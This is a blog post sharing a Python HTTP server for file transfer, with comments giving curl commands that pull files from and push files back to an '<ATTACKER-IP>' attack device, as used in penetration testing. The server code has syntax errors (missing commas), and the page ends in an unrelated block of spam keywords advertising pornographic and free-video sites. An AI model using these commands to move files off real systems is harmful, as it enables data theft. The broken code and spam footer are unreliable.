<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    so true

    心懷未來,開創未來!
    隨筆 - 160, 文章 - 0, 評論 - 40, 引用 - 0
    數據加載中……

    http_server supports download/upload

    #!/usr/env python3
    import http.server
    import socketserver
    import io
    import cgi

    #  Download a file from your attack device:
    #
    curl -O http://<ATTACKER-IP>:8000/<FILENAME>

    #  Upload a file back to your attack device:
    #
    curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:8000/

    #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
    #
      parameters to the command line.
    #
    curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:8000/

    # Change this to serve on a different port
    PORT = 8000

    class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

        def do_POST(self):
            r, info = self.deal_post_data()
            print(r, info, "by: ", self.client_address)
            f = io.BytesIO()
            if r:
                f.write(b"Success\n")
            else:
                f.write(b"Failed\n")
            length = f.tell()
            f.seek(0)
            self.send_response(200)
            self.send_header("Content-type""text/plain")
            self.send_header("Content-Length", str(length))
            self.end_headers()
            if f:
                self.copyfile(f, self.wfile)
                f.close()

        def deal_post_data(self):
            ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
            pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
            if ctype == 'multipart/form-data':
                form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST''CONTENT_TYPE':self.headers['Content-Type'], })
                print (type(form))
                try:
                    if isinstance(form["file"], list):
                        for record in form["file"]:
                            open("./%s"%record.filename, "wb").write(record.file.read())
                    else:
                        open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                except IOError:
                        return (False, "Can't create file to write, do you have permission to write?")
            return (True, "Files uploaded")

    Handler = CustomHTTPRequestHandler
    try:
        server = socketserver.TCPServer(("", PORT), Handler)
        # Activate the server; this will keep running until you
        # interrupt the program with Ctrl-C
        server.serve_forever()
    except:
        pass
    finally:
        server.close()

    posted on 2021-11-20 21:03 so true 閱讀(103) 評論(0)  編輯  收藏 所屬分類: Linux

    主站蜘蛛池模板: 国产成人精品男人免费| 边摸边吃奶边做爽免费视频99| 亚洲AV永久无码天堂影院| 亚洲成人免费电影| 亚洲中文无码永久免| 浮力影院第一页小视频国产在线观看免费| 亚洲人成色99999在线观看| 免费中文字幕不卡视频| 国内精品99亚洲免费高清| 国产亚洲欧美日韩亚洲中文色| 国产亚洲日韩在线三区| 永久看日本大片免费35分钟| 51午夜精品免费视频| 亚洲无人区视频大全| 亚洲精品私拍国产福利在线| 国产精品成人免费福利| 香蕉免费一区二区三区| 国产免费网站看v片在线| 一级特黄a免费大片| 老湿机一区午夜精品免费福利| 亚洲熟伦熟女专区hd高清| 亚洲欧洲日产v特级毛片| 亚洲丝袜美腿视频| 国产日韩亚洲大尺度高清| 国产亚洲日韩在线三区| 国产精品亚洲综合专区片高清久久久 | 人人鲁免费播放视频人人香蕉| 亚洲精品无码高潮喷水A片软| 亚洲国产成人久久综合一区| 国产成人aaa在线视频免费观看 | 亚洲精品无码专区久久久| 亚洲色一色噜一噜噜噜| 亚洲国产精品碰碰| 亚洲国产精品成人| 亚洲国产精品自在拍在线播放| 免费在线观看一级毛片| 亚洲国产成人精品女人久久久 | 曰批全过程免费视频观看免费软件| 97久久精品亚洲中文字幕无码| 免费观看AV片在线播放| 九九九精品视频免费|